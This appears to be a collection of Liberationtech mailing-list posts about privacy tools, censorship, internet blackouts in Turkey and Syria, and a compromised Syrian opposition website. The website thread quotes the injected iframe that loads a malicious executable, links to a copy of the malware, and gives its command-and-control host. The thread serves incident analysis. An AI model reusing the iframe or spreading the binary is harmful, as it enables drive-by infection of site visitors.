Re: [liberationtech] Emergency: Has TrueCrypt.org been Hijacked?
On Wed, May 28, 2014 at 01:44:12PM -0700, Brad Beckett wrote: Truecrypt.org now redirects to: http://truecrypt.sourceforge.net/ with a warning to use Bitlocker and not Truecrypt. Hard to tell whether it's a hijack or an actual warning message. Does it make sense that TrueCrypt development could have ended with the termination of the support of Windows XP? I'd be glad to hear more info on this! KheOps -- Liberationtech is public archives are searchable on Google. Violations of list guidelines will get you moderated: https://mailman.stanford.edu/mailman/listinfo/liberationtech. Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu.
[liberationtech] Secure voice chat: any security review of Linphone?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi all, Some people may know Linphone¹, a SIP client that supports TLS and ZRTP and which is thus a good candidate to be advised for secure voice chat over the Internet. I'm using it, notably because it is much lighter on the CPU than Jitsi². I would like to know if anyone already took a look at Linphone's source code and did a security review of it? Thanks, KheOps ¹ http://www.linphone.org ² https://jitsi.org -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.22 (GNU/Linux) iQEcBAEBAgAGBQJTN3xQAAoJEK9g/8GX/m3dv90H/0+CpJg26guc7RKnE68wy9hQ X7iZPStgRgPeNzUGgA3StHf/dbOr8YfFD3CoCayXa0DIWmieLNLarb6F+AGKDBEO s1a96SAoBj/yrUfmh17Sim88lOtfn04F3RXpoC4c7a30I/COfl9AeOt/FIjZs41V RfmhdB0+4ZcxFT8B07PgNgBvwSz3D7dUi5Ogh96vC+gHHjDJOPtEtM2OFPOTYMU6 U6ONzZbbkZ4+nfHiBPzKhA5mdNkQvQK81wvlCxxxvoI1jV2lw8ZvkL4DYjrZBCyJ ALTQA2cPknZfc0u/ekYrm7SpvHqksDJCwsyT4nsJ6q6RD3WyqF6yvJxX4t2vueQ= =kxxG -END PGP SIGNATURE- -- Liberationtech is public archives are searchable on Google. Violations of list guidelines will get you moderated: https://mailman.stanford.edu/mailman/listinfo/liberationtech. Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu.
Re: [liberationtech] Ostel: encrypted phone calls
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hello, On Wed, Jun 12, 2013 at 02:52:51PM -0400, Mark Belinsky wrote: We've updated the app and the website a bunch this week. We hope that it's even more useful and functional now. Please go to ostel.co and start using our tool for encrypted phone calls. We'd love to hear feedback. Thanks! I've tried a bit more Ostel.co, from a Linux machine. It seems to work pretty well, even though I should test it more thoroughly. I would like to suggest adding 'linphone' to the list of software that works for Linux on that page: https://ostel.co/about. I just tried it, it has support for ZRTP and is much lighter on the CPU and RAM than Jitsi. I cannot tell whether there has been any security review of linphone, though. --* @mbelinsky https://twitter.com/mbelinsky | markbelinsky.comhttps://markbelinsky.com| phone: +1-347-466-9327 | skype: markontheline * Cheers, KheOps -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.22 (GNU/Linux) iQEcBAEBAgAGBQJTBjCdAAoJEK9g/8GX/m3dGhwH/0m2OexjCcRT9Ix7bBo6+psG 0Vzh1Y14G/twEnDnyRbA6Ct0ayQTn8I95RmmYf2Ry/tg+8znbtowNafviaQl0TRW 1yAhuVpzhIAb7+PnUSw5WGDqgKQVK26cHjpuHZcHtqm143q1lis3auefA/zY/dEO GWLnaiyNKRWKWG0rN/h8WrTubh1EV72nUhYRiZuilgvXm4GER71oRa25bieSlV7z AxL8qC1u/T5wFo6b8iGQJaMOca0sm7JaBKmsGUBMpE52mYSITrgKgr/NwvwF4wnj QGXPLzi9zEZtT9Es4Feacdbi+tlIHvddNbAMsv3mXC46/5vt4or3R8HgNcBp2ws= =ZDVV -END PGP SIGNATURE- -- Liberationtech is public archives are searchable on Google. Violations of list guidelines will get you moderated: https://mailman.stanford.edu/mailman/listinfo/liberationtech. Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu.
Re: [liberationtech] uVirtus Linux, encrypted OS for Syria: a security review
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Fri, Feb 07, 2014 at 11:25:31AM +0200, Maxim Kammerer wrote: On Fri, Feb 7, 2014 at 2:37 AM, Sahar Massachi sa...@brandeis.edu wrote: The fact that there's a naked sudo hole is brutal. Forgive me if I misunderstand the problem, but how could *anyone* ship a distribution with a passwordless sudo? That seems like it requires deliberate malice to even set up. Careful here: Tails had passwordless sudo prior to v0.11, less than 2 years ago. So either unlimited local root access is not such a big deal, or recommendation to use Tails is short-sighted — in either case the report has a problem. I suggest that the report author sweeps both issues under the carpet simultaneously using a politically correct language referencing problems that were taken care of a long time ago, and are not that critical to begin with. There may be two differents things mixed here. First, recommending the use of Tails instead of uVirtus is not just related to the passwordless root access. You probably noticed by reading the report that there are numerous other issues in and around uVirtus that make Tails undoubtedly a safer (and possibly easier to use) choice. Possibly not the only choice though, as this is mentioned in the conclusion with a link to a comparative study between IprediaOS, Liberté Linux, Privatix, Tails and Whonix. The idea was to avoid just saying Hey, you're using uVirtus, too bad for you, but to also give a link to better solutions in overall. It is a misundertanding to think that I sweep under the carpet the root issue and Tails at the same time: I would perform the same recommendation even without this issue. Second, on the passwordless issue itself. It may be a matter of interpretation, but considering that any executable program using sudo can get unlimited access seems problematic to me. As mentioned in the report, in Syria a common method of attack is to fool users in downloading and executing malicious programs disguised as something else. If one manages to have the user do this from uVirtus, it looks to me quite easy then to perform nasty stuff such as messing around with the data contained on the local hard disks. Maybe it is not so easy to do, making the issue not that critical as you state, in which case I think it'd be useful to justify a bit the claim. But then maybe this depends on other security features of the system you're considering, and in uVirtus the fact that this issue is surrounded by many others seems to make it quite critical. The Tails ChangeLog¹ I found for 0.11 does not seem to explain why the passwordless root was removed, but my guess would go towards security concerns. Best, KheOps ¹ https://git-tails.immerda.ch/tails/plain/debian/changelog?id=0.11 -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.22 (GNU/Linux) iQEcBAEBAgAGBQJS9NSYAAoJEK9g/8GX/m3dz3AIAI7UyyRYH5mJbUAIAlUcGRQp cKeTneIMeAheJGiaBQm+gMypL0x8hA5Q2lioZyXGnP2NyU4OG+ktJCOSguflXDx2 9IqeKoyrS9bp6AJAY2A+a361wN28OgQr6gPc7C+s8DNDNcv6v4LksD1MphS1j01Y uHJ4OcuN1AqzvZbGK22nkAewT89qF4YzEraHoWpqlUZEh+hvxBfYScipWA/h8wMD xCU1ZZyJVyYtEOHpV15Oja1DXtLrL5Db9uizI6k8UtHEgn+KxNq6wQb66tmDiwNs 9AJAD8ndc6oz5cEkQtOaMvqVVMDyTGWJwHS7zU3Zaj6LtDJHLizAjhM2Nsz1vKY= =fj5e -END PGP SIGNATURE- -- Liberationtech is public archives are searchable on Google. Violations of list guidelines will get you moderated: https://mailman.stanford.edu/mailman/listinfo/liberationtech. Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu.
[liberationtech] uVirtus Linux, encrypted OS for Syria: a security review
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear all, The uVirtus live distribution was publicized back in September as a secure live OS specifically designed for Syrians. It stems from the idea of having a one-click easy to use VPN client that uses OpenVPN over Obfsproxy. After testing it and discovering a few issues, I spent some more time in order to dig a bit more into its security. I noticed numerous worrying security issues, and in overall it does not appear to me as really responsible to recommend it instead of, say, Tails. Issues include for instance holes that may help an attacker compromise the user's machine by gaining root access and weak protection against data leaking in cleartext out of the VPN. I published a report that lists all the issues I could find and tried to assess their seriousness. I hope it is detailed and precise enough. It is available here in English: https://press.telecomix.ceops.eu/en/posts/Review_of_security_issues_in_uVirtus_2.0/ And in Arabic (sorry for the long link): https://press.telecomix.ceops.eu/ar/posts/%D9%85%D8%B1%D8%A7%D8%AC%D8%B9%D8%A9_%D9%84%D9%82%D8%B6%D8%A7%D9%8A%D8%A7_%D9%86%D8%B8%D8%A7%D9%85_uvirtus_2.0_%D8%A7%D9%84%D8%A3%D9%85%D9%86%D9%8A%D8%A9/ We should thank Ameer, a Telecomix friend who spent a lot of time on translating it, but also giving me hints and correcting some English mistakes. We hope this helps to better assess uVirtus security and maybe feed the thinking for possible future versions. Sorry for the TLS certificate warning you will probably get in your browser, it is signed with the CA you'll find there: https://github.com/TelecomixSyria/TheSouq/tree/master/resources/ssl-ca/2012-2014 and its SHA1 fingerprint is C2:00:C7:9B:2C:9F:88:31:8B:A9:9E:B4:37:27:4E:93:75:8A:A7:6B. With datalove! KheOps -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.22 (GNU/Linux) iQEcBAEBAgAGBQJS9AoeAAoJEK9g/8GX/m3dpRkH/1rN/nDEjY2kJqhEMqaIwkiq PqJzXxhvSuMTYn9WXcA5kh9xH+OCBu2uSfTfm9ewfAO8W4C4Jx5AO8jgyo3bjFEP usJE8m7vaKZVnVUrzqyxMBuutxyljear+qn6r86i5FRbIoob582QAZM7+bunotOr bc5oUBgaq+KHx0p6yxohQw07MLaDwzXviu0lFcsRqMRfGzAMWFx3y8pGLUwS1Tiz S3jR+Vs+s80NBHmMhPK3HkB2qsMowC8tZlYaMLzuFqocoKsTyE3CCMz9R6Xw05HT aR5pSsbVuEvgMyhlqCJoVD8YD4qde8E5hxZrONZk4GKTIPDc90bgGW8FH/zmPqI= =h+MA -END PGP SIGNATURE- -- Liberationtech is public archives are searchable on Google. Violations of list guidelines will get you moderated: https://mailman.stanford.edu/mailman/listinfo/liberationtech. Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu.
Re: [liberationtech] Petition Google over banning Servers on Google Fiber?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hi all, On Tue, Aug 13, 2013 at 01:24:07AM +0200, Moritz Bartl wrote: Thank you EFF for the well-written reminder: https://www.eff.org/deeplinks/2013/08/google-fiber-continues-awful-isp-tradition-banning-servers [...] We should petition Google to get rid of this. Does anyone know if EFF planning such an action, or do you have contacts to organizational networks to get it going properly? A petition is probably worth giving a try, but in the end Google are on their infrastructure and selling access under their terms of service, so it may be quite a difficult challenge. Even more difficult since, as far as I understand, many other operators do the same on the market. There are similar issues in France: a few ISPs providing high-speed fiber connection forbid in the same way hosting a server at home (unless you pay more). In addition, some do not provide a fixed IP address to practically make things more difficult. We all understand that this violates Net Neutrality and prevents citizens from reclaiming control of their data to have a decent level of privacy. We subsequently understand that this is a serious issue from a democracy point of view, knowing governments' surveillance practices. Now, in case it could be of any use in the US, in France Europe I see two types of initiatives that try to push things in a better direction: - - at the European Parliament some advocacy groups have tried to push the fact that a company could not say that they sell internet access if what they sell contains violations to Net Neutrality (I don't know the details on the situation of this political battle, but you get the idea); - - in France, we have more and more associative (non-profit) ISPs providing internet access to small numbers of people - the core ideas are to provide a neutral access (to the extent permitted by law) and promote decentralization (as in internet) through the creation of many little structures; the oldest and biggest, French Data Network (FDN) created a Federation (FFDN) in which the smaller and more local ones are gathered; we would really like this kind of initiative to spread - take a look there http://www.ffdn.org, some posts are in English All the best, KheOps -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.20 (GNU/Linux) iQEcBAEBAgAGBQJSCjM0AAoJEK9g/8GX/m3dUB4IAMh6qFnPhE5L6uQDzWWxGlU1 0Paqfs7OodmOW0DiD1oEbMX3EFAIR341MP7Lck2JDbKRBHqUPw/SJOi9fNUKGujW Ai5lV9ZVUYudCzsHVqczDorVUKbC7DyYRgVZ+7PJ5KGFzUpt9XGkdPfEGnXmXFOE 2QeYTcUTJzmBG9tjMwh6xpKglrltz4gp1sYyWCEJZuiBea6iBkU15WBiJLZ5zhE+ 3a7DnAa9gB+FgVG9bWDx7a2PIH2TOxQ2lEo8P3QrRf7VHZzm7pfxb/PDzpzW6Euw 9UOxddUDg2NPak8fPocWOc/+vqfyLY7VL9gfhmL53tXUbiaPsEkHCfwG7Z0btiU= =h0AL -END PGP SIGNATURE- -- Liberationtech is a public list whose archives are searchable on Google. Violations of list guidelines will get you moderated: https://mailman.stanford.edu/mailman/listinfo/liberationtech. Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu.
Re: [liberationtech] Practical Impact of NSA/Surveillance on Human Rights Orgs
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hey all, Le 20/07/2013 19:16, Yosem Companys a écrit : [...] Alfredo Lopez from May First/People Link has been writing about the impact of PRISM surveillance on activists, and the importance of FLOSS for activists to protect data: http://www.thiscantbehappening.net/node/1842 APC wrote an issue paper on F/A online last year, which includes discussion of the impact of surveillance on organising: https://www.apc.org/en/pubs/freedom-peaceful-assembly-and-freedom-association And there are of course activists in many countries, such as Azerbaijan, who have felt the impact of government surveillance long before PRISM, and who have adopted a number of strategies to protect themselves: http://www.genderit.org/articles/azerbaijan-when-online-security-synonymous-personal-safety I am interested to read others' experiences, and personal practices for avoiding surveillance. Did these recent revelations convince anyone to abandon gmail, for example? Even though some organizations are committed to protecting free speech and information, I do not believe that HR orgs' practices changed in the light of PRISM revelations. On the other hand, I think individuals here and there with a varying level of political activism may have changed a little bit their habits. On the longer term however, the revelations may help raise awareness and thus help moving into the right direction, i.e. installing FLOSS trustworthy software. I think already aware people have a big responsibility here in explaning, raising awareness and teaching. - From a less human rights centered perspective, I can tell the status of European institutions is catastrophic and that I am at the moment not able to perceive any will from them to turn to using more FLOSS. EC, EP and EUCJ all run MS Exchange, and the staff seems in general to be forced to have a particular version of Windows and MS Office. But again, the matter isn't ignored by everyone and efforts may lead to interesting developments in a longer future. Best, KheOps -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJR6zfBAAoJEK9g/8GX/m3dK7MH/3Fnjz7bkTEulgis1flRdjHQ KMHlSdr35YFa2E7O3OHHlYmaNjtdbJBAHBwYknJ7JkYYQSHJ65f5qXEdqLcpy9RN KJx49CofE7xuO5wiFzG22Ol7aR9KFFQSbIxGcI2sULm+YEtVka+KJQxPL1HRVvmL 1dNDmX7sW5Cz7IMF2ZDVm9cUPtipkrAFaYbeTZ84If6qrJdKsiH/IVVENX4YClds Lbrz3ZR16MI3W8QKk8qTotICCXUHLPt49iDFgQqUVDPx7kIQspp9IkhiSwytl6RK bXWZDWm1Ff1hlgtfhe+PMjL6Y1oMh28krRL9GKjO6vWYRCKky89n/qno130yLnc= =vGA5 -END PGP SIGNATURE- -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] The Pirate Bay blocked from some Amazon EC2 instances?
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Hello everyone, Having to play a little bit with a couple of Amazon EC2 virtual machines, I noticed that I wasn't able to access thepiratebay.sx from them. The DNS entry is correct, but an HTTP request simply times out. They are located in the US West 2 set. A friend having an instance in Europe said he could access thepiratebay.sx from it without problem. So, does any of you have any elements regarding this? Best, KheOps -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.11 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://www.enigmail.net/ iQEcBAEBAgAGBQJR6zjMAAoJEK9g/8GX/m3dfJUIAIUvzcnlPXAPA0aH8rVkAZMZ FkacA+ILPKJYt596dBh7OiiD6IjAkQhmd3GmxCuWZVUIVLYCFqXkkzJKvl7ZnDLG h970Y0WRvQe4rNr4Kb23ChioI4TfTcp1nGGFQc8etVvKKaYAcrT5fGTldHAYzCQ/ J6MMAC77XA01Nfc+4Z7G2Z2sGb+xyTueHGLeV09Qj7wti5KUCE1dHZ/p9Q6pYkOf NCtwasYE01F/fTYbEFnICx8VU/M+P62u6+NfAjrUU6Aw25E+WkJSbiOs3feAPxpR EeNCBudgsp6XRUJp0sUAruVxdhDt4cGgXESeoLJZc5c8pOOZUFBKtZoMe81Hm/g= =p+v4 -END PGP SIGNATURE- -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] Random number generator failure in Rasperri Pis?
Hi all, Just came accross this article, apparently showing the bad quality of the hardware RNG in Raspberri Pi devices. http://scruss.com/blog/2013/06/07/well-that-was-unexpected-the-raspberry-pis-hardware-random-number-generator/ Quite interesting since (pseudo-) random numbers are heavily used in crypto. Interesting also to see another post on this topic, after the study of a random number generation procedure formerly used in Cryptocat and that was also problematic. Datalove, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Random number generator failure in Rasperri Pis?
Hey, Le 19/07/2013 14:22, Petter Ericson a écrit : Just came accross this article, apparently showing the bad quality of the hardware RNG in Raspberri Pi devices. http://scruss.com/blog/2013/06/07/well-that-was-unexpected-the-raspberry-pis-hardware-random-number-generator/ I see nothing in the blog post indicating that the random data from the Pi HW is bad. Rather, he uses that to show how good random data should look, after which he implements RANDU to show how _not_ to do it. I have seen this being posted here and there as a look, Pi HWrand bad thing, but I have to wonder how many actually read the blog post, considering he even ran rngtest for a thousand runs with no failures on the output of /dev/hwrng I might have read it and concluded too fast, and yes obviously he shows how another implementation is failing. But I see this: sudo cat /dev/hwrng | rngtest -c 1000 which for me refers to the previously installed driver for RasPi and then he says: We were lucky that none of the tests failed for that run; sometimes there are a few failures. RANDU, on the other hand fares very badly Meaning that RANDU is really bad whereas the RasPi one would be ... better but still failing to pass some tests in some occasions? That's how I understood it, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] DecryptoCat
Hi all, Just came accross this: http://tobtu.com/decryptocat.php Pointing out an apparent set of severe crypto bugs in Cryptocat - but I'm myself not enough an expert to assess all this. Any comment? KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] Blogpost: learning lessons from NSA's PRISM (or: crypto decentralization vs. bulk spying)
Dear all, I spent some time writing a blogpost aimed at not-so-aware people who may have heard about PRISM but lack the background knowledge about massive surveillance and as such could make incorrect decisions if trying to protect themselves. https://words.ceops.eu/posts/Learning%20the%20lesson%20from%20NSA%27s%20PRISM:%20don%27t%20do%20it%20wrong/ I wrote it with the hope that it'll be useful and improve the understanding of these people. Best and datalove, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] Ostel: encrypted phone calls
Hi all, Just came accross that: https://ostel.co/ Open source software for encrypted calls, with a client that apparently runs on a lot of platforms. Anyone ever used/reviewed it already? Cheers, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] internet blackout in turkey?
Good day everyone, Le 01/06/2013 12:50, hc voigt a écrit : Everything that is coming through along the hashtags #occupygezi or #direngezipark? is coming from outside Istanbul and lacks any new infos and pictures from within the city; or even from within turkey. After having done so last night, I'm again observing for quite some time now again via twazzup, tumblr, g+, diaspora, ? and it looks to me like we face a complete Internet Blackout in/from Turkey. I am not sure to what extent the blackout is complete. A message was addressed to telecomix earlier on: http://pastebin.com/Y9iJTWEP I'd say they've cut GSM access as well as broadband in some areas, and possibly increased blockade of some particular websites at country level. Would be nice to get more details, though. Does turkey posses the technology, means and skills for that? Country internet infrastructure is centralized by governmetn-controlled Turk Telecom. They already do website blockade, iirc based on keywords. So I think we can assume they have modern enough equipment to perform blocking and surveillance. Best, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] internet blackout in turkey?
Le 01/06/2013 15:33, Dr.Arif YILDIRIM a écrit : No internet blackout in turkey! I am on twitter as purescapism tweeting about the protests all over turkey! Can you yell which ISP you are using? We have report that TTNet and Turkcell blocked Facebook and Twitter. Could it be possible to get more details on this? -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] P=NP ?
Dear all, This is not the first time such a claim is made, but I just came accross what looks like to be a serious scientific publication claiming that they prove that P=NP. In simple words, this would mean that problems that are considered as needing a lot of computational effort to solve may in fact be solvable with algorithms that need much less computational time than what is implemented now. If proven true, this would have a particularly high impact on a huge number of computational problems. I am however not sure to what extent this would impact cryptography. http://arxiv.org/abs/1305.5976 I'd be glad if anyone with enough skills and access to the paper could give a first opinion on it :) Cheers, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Internet off in Syria?
Morning/afternoon/evening all, Le 08/05/2013 09:54, Walid AL-SAQAF a écrit : Hi Brian, Tiago and other friends, I can confirm that users from Syria have stopped using my Alkasir servers for accessing the Internet since yesterday at noon. Looking at my records, it appears it stopped totally after noticing a decline in the number of connections in recent days. It appears that what we feared would happen has just happened. Let's keep monitoring to see if any are able to get online from Syria. My DNS server traffic from Syria also dropped to zero. Some people have been working overnight to try to see if landlines still work in some cities, to see if dialup can be used. Info has been gathered there: https://pad.hacktivist.me/p/landlines Best, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Internet off in Syria?
Hey, Le 08/05/2013 16:55, Rafal Rohozinski a écrit : The SecDev's Syria Operations Group detected 60 of 67 net blocks returning at 1600 hrs. local time. Connectivity is restored in most major cities and governorates with the exception of those with damaged infrastructure (see embedded map). Circumvention systems are back online. Sources in Syria suggest that the blackout may have been caused by a technical error rather than intentionally. A 20-hour long technical error, starting more or less during a peak hour (evening/late evening)? It sounds a little bit weird to me but who knows :) Further info at: https://www.facebook.com/Syrian.DS Rafal On May 8, 2013, at 10:50 AM, Enrique Piraces pira...@hrw.org mailto:pira...@hrw.org wrote: I see a few machines from Syrian Computer Society are accessible. On May 8, 2013, at 10:16 AM, Walid AL-SAQAF wrote: Hi all, It seems connectivity is slowly returning to Syria. I noticed some connections from MTN-SYRIA to my server. Sincerely, Walid - Walid Al-Saqaf Founder Administrator alkasir for mapping and circumventing cyber censorship https://alkasir.com PGP: https://alkasir.com/doc/admin_alkasir_pub_key.txt On Wed, May 8, 2013 at 11:19 AM, KheOps khe...@ceops.eu wrote: Morning/afternoon/evening all, Le 08/05/2013 09:54, Walid AL-SAQAF a écrit : Hi Brian, Tiago and other friends, I can confirm that users from Syria have stopped using my Alkasir servers for accessing the Internet since yesterday at noon. Looking at my records, it appears it stopped totally after noticing a decline in the number of connections in recent days. It appears that what we feared would happen has just happened. Let's keep monitoring to see if any are able to get online from Syria. My DNS server traffic from Syria also dropped to zero. Some people have been working overnight to try to see if landlines still work in some cities, to see if dialup can be used. Info has been gathered there: https://pad.hacktivist.me/p/landlines Best, KheOps -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu mailto:compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Too many emails? Unsubscribe, change to digest, or change password by emailing moderator at compa...@stanford.edu or changing your settings at https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] PrivacyBox review?
Hi all, Has anyone ever reviewed the code of PrivacyBox from a security point of view? Thank you, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Syrian-martyrs.com website probably compromised by virus
Hello, I wrote a first summary on the case, I will try to keep it up to date with new data, https://words.ceops.eu/posts/Infected%20Syrian%20opposition%20website%20spreads%20malware%20to%20its%20visitors/ ALl the best, KheOps Le 30/01/2013 00:00, SiNA Rabbani a écrit : Hi! I sent the malware to a couple of friends that have a setup ready. If you want to try this it might be fun: http://docs.cuckoosandbox.org/en/latest/ All the best, SiNA KheOps: Hey, Le 29/01/2013 23:34, SiNA Rabbani a écrit : This is the malware: https://www.virustotal.com/file/cfdd3a78a895b3f49a39402eb28b0d2134cc3086849a41a6fdfe7d829a0d4dcd/analysis/ Yes, saw that too. However, I don't find any precise description of its behaviour. Like, what it does, if it opens any port, sends data to a CC or whatever. I have downloaded it there: https://resources.telecomix.ceops.eu/material/malwares/ All the best, --SiNA SiNA Rabbani: holly shit: iframe name=I1 width=10 height=10 src=http://acadcisco.unisla.pt/downloads/uploads/software/ActiveX.exe; border=0 frameborder=0 :/ if you are running windows don't even go there!!! Andrew Lewis: I can get to this in 6 hours or so, maybe someone is willing to jump on this before then? -Andrew On Jan 30, 2013, at 11:06 AM, KheOps khe...@ceops.eu wrote: Dear Libtech, We just saw that the website : http://www.syrian-martyrs.com is probably compromised. Every page of the website contains an iFrame which links to a .exe file which is detected as a virus by antivirus software: http://acadcisco.unisla.pt/downloads/uploads/software/ActiveX.exe The fact that the HTML code is present at the bottom of each page makes me think that the index.php page has been changed in a way that makes that iFrame appear on every page of the website, after the dynamic content. It also probably means that the attackers have some kind of access to the server. My guess would be going to a PHP shell, but I'm no expert in this. Any help, clue, investigation, would be very welcome :) Thank you, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] Syrian-martyrs.com website probably compromised by virus
Dear Libtech, We just saw that the website : http://www.syrian-martyrs.com is probably compromised. Every page of the website contains an iFrame which links to a .exe file which is detected as a virus by antivirus software: http://acadcisco.unisla.pt/downloads/uploads/software/ActiveX.exe The fact that the HTML code is present at the bottom of each page makes me think that the index.php page has been changed in a way that makes that iFrame appear on every page of the website, after the dynamic content. It also probably means that the attackers have some kind of access to the server. My guess would be going to a PHP shell, but I'm no expert in this. Any help, clue, investigation, would be very welcome :) Thank you, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Syrian-martyrs.com website probably compromised by virus
Hey, Le 29/01/2013 23:34, SiNA Rabbani a écrit : This is the malware: https://www.virustotal.com/file/cfdd3a78a895b3f49a39402eb28b0d2134cc3086849a41a6fdfe7d829a0d4dcd/analysis/ Yes, saw that too. However, I don't find any precise description of its behaviour. Like, what it does, if it opens any port, sends data to a CC or whatever. I have downloaded it there: https://resources.telecomix.ceops.eu/material/malwares/ All the best, --SiNA SiNA Rabbani: holly shit: iframe name=I1 width=10 height=10 src=http://acadcisco.unisla.pt/downloads/uploads/software/ActiveX.exe; border=0 frameborder=0 :/ if you are running windows don't even go there!!! Andrew Lewis: I can get to this in 6 hours or so, maybe someone is willing to jump on this before then? -Andrew On Jan 30, 2013, at 11:06 AM, KheOps khe...@ceops.eu wrote: Dear Libtech, We just saw that the website : http://www.syrian-martyrs.com is probably compromised. Every page of the website contains an iFrame which links to a .exe file which is detected as a virus by antivirus software: http://acadcisco.unisla.pt/downloads/uploads/software/ActiveX.exe The fact that the HTML code is present at the bottom of each page makes me think that the index.php page has been changed in a way that makes that iFrame appear on every page of the website, after the dynamic content. It also probably means that the attackers have some kind of access to the server. My guess would be going to a PHP shell, but I'm no expert in this. Any help, clue, investigation, would be very welcome :) Thank you, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Syrian-martyrs.com website probably compromised by virus
Hello, Le 30/01/2013 03:02, SiNA Rabbani a écrit : Ok. I infected an old Windoes xp with this malware and it keeps sending SYN requests to this hostname: awrasx10.no-ip.biz which currently resolved to: 37.236.124.197 and is down for me. Thank you for your work :) The hostname still resolves the same, 37.236.124.197, which is an Iraqi IP address. Maybe the port on that IP is supposed to host a CC, I don't know. Could be worth letting it run longer, maybe the CC only comes up sometimes? --SiNA Internet Protocol Version 4, Src: 10.10.10.17 (10.10.10.17), Dst: 37.236.124.197 (37.236.124.197) Version: 4 Header length: 20 bytes Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00: Not-ECT (Not ECN-Capable Transport)) 00.. = Differentiated Services Codepoint: Default (0x00) ..00 = Explicit Congestion Notification: Not-ECT (Not ECN-Capable Transport) (0x00) Total Length: 48 Identification: 0x06b0 (1712) Flags: 0x02 (Don't Fragment) 0... = Reserved bit: Not set .1.. = Don't fragment: Set ..0. = More fragments: Not set Fragment offset: 0 Time to live: 128 Protocol: TCP (6) Header checksum: 0x3d4c [correct] [Good: True] [Bad: False] Source: 10.10.10.17 (10.10.10.17) Destination: 37.236.124.197 (37.236.124.197) Transmission Control Protocol, Src Port: llsurfup-https (1184), Dst Port: distinct 